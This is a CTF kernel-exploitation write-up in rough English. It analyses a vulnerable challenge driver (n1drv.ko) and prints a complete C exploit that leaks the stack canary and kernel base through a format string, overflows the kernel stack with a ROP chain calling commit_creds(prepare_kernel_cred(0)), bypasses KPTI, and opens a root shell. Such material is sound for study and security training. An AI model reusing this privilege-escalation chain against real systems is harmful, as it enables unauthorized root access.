kernal pwn
First, let's take a look at start sh
#! /bin/sh qemu-system-x86_64 \ -m 512M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \ -gdb tcp::1234 -S \ -monitor /dev/null \ -nographic 2>/dev/null \ -smp cores=2,threads=1 \ -cpu kvm64,+smep
If we see that it is not single core and single thread, we must be careful of conditional competition.
I can see it's on, kaslr, smep.
We say that the protection of the kernel part is divided into four aspects.
Kernel protection starts from four aspects: isolation, access control, exception detection and randomization
Isolation is divided into smep user code not executable, smap user data not accessible and KPTI.
Randomization was also divided into kaslr and fgkaslr.
Then we unzip the file system and take a look at the init file.
mkdir core cp rootfs.cpio ./core cd core mv ./rootfs.cpio rootfs.cpio.gz #Because cpio has been compressed by gzip, the name must be changed before gunzip can recognize it gunzip ./rootfs.cpio.gz #gunzip decompress it for a while before cpio can recognize it, otherwise it will report abnormal numbers cpio -idmv < ./rootfs.cpio #cpio is the decompression instruction - idmv is its four parameters #-i or -- extract executes the copy in mode to restore the backup file. #-d or -- make directories cpio will create its own directory if necessary. #-v or -- verbose displays the execution process of the instruction in detail. #-m or preserve modification time does not change the change time of the file
Open KPTI
#!/bin/sh mkdir /tmp mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod n1drv.ko mknod /dev/homuratql666 c 233 0 chmod 666 /dev/homuratql666 mdev -s chmod -R 777 /sys poweroff -d 1200000 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f #setsid /bin/cttyhack setuidgid 0 /bin/sh
So obviously, the module is mounted.
Then I also read the symbol table to / tmp/kallsyms, so I don't have to disclose the address or anything
If devpts is mounted, consider hijacking the tty structure
Then IDA.
ioctl function.
deadbeef seems to have a formatted string.
n1drv has a function
copy_user_generic_unrolled
/* * Copy To/From Userspace */ /* Handles exceptions in both to and from, but doesn't do access_ok */ __must_check unsigned long copy_user_enhanced_fast_string(void *to, const void *from, unsigned len); __must_check unsigned long copy_user_generic_string(void *to, const void *from, unsigned len); __must_check unsigned long copy_user_generic_unrolled(void *to, const void *from, unsigned len);
It is also a copy function. There are no parameters displayed in ida. Just look at the assembly.
Reasonable should be three parameters.
The first call rdi is the top of the stack. rsi is the address of the incoming user. rdx should be the size of the copy. Then there is obviously a stack overflow here.
Two call s, one in the stack and the other in the heap, are copied successfully before no error is reported
So malloc will have to be a little bigger later.
So our thinking is still relatively clear
The format string divulges canary, and the base address does not even need to be divulged. It is directly placed in the / tmp/kallsyms folder. Of course, divulging is also OK.
Then directly overflow a stack.
When it's on kpti, we need to go around.
Talk about it step by step
setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); //The buffer is turned off, otherwise there will be no output. int fd = open("/dev/homuratql666",O_RDWR); if (fd < 0) { printf("wrong with open /dev/homuratql666"); } size_t kernal_base ; size_t canary; size_t rop[0x50]; char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00"; add(fd, 0x400); write(fd, format, 50); put(fd); getchar(); write(1,"input vmlinux addr\n",43); scanf("%llx",&kernal_base); write(1,"input vmlinux canary\n",45); scanf("%llx",&canary);
Of course, you have to get the base address first
The base address can be changed in init
But this question can be directly / tmp/kallsyms
Output canary, etc. scanf input is OK.
Then we construct the rop chain
exp
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h> void get_shell(void){ puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m"); if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); exit(-1); } puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m"); system("/bin/sh"); } void add(int fd,int size) { ioctl(fd,0x73311337,size); } void put(int fd) { ioctl(fd,0xDEADBEEF); } unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } int main() { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); int fd = open("/dev/homuratql666",O_RDWR); if (fd < 0) { printf("wrong with open /dev/homuratql666"); } size_t kernal_base ; size_t canary; size_t rop[100]; char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00"; add(fd, 0x400); write(fd, format, 50); put(fd); printf("input vmlinux addr\n"); scanf("%llx",&kernal_base); printf("input canary\n"); scanf("%llx",&canary); kernal_base = kernal_base - 0x1c827f; size_t prepare_kernel_cred = kernal_base + 0x81790; size_t commit_creds = kernal_base + 0x81410; size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret; size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret; size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret; size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ; printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred); printf("commit_creds:0x%llx \n",commit_creds); save_stats(); int i = 0; for(i = 0; i <= 60; i ++) { rop[i] = "aaaaaaaa"; } i = 32; rop[i++] = canary; // canary rop[i++] = canary; // rbp rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = push_rax; rop[i++] = 0; rop[i++] = 0; rop[i++] = 0; rop[i++] = pop_rbx; rop[i++] = pop_rdx; rop[i++] = call_rbx; rop[i++] = commit_creds; rop[i++] = swapgs_restore_regs_and_return_to_usermode; rop[i++] = 0; rop[i++] = 0; rop[i++] = (size_t) get_shell; rop[i++] = user_cs; rop[i++] = user_eflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,0x1b0); //copy can't more than rop }
The time given by remote is too short. No wonder zero solution
Local no problem.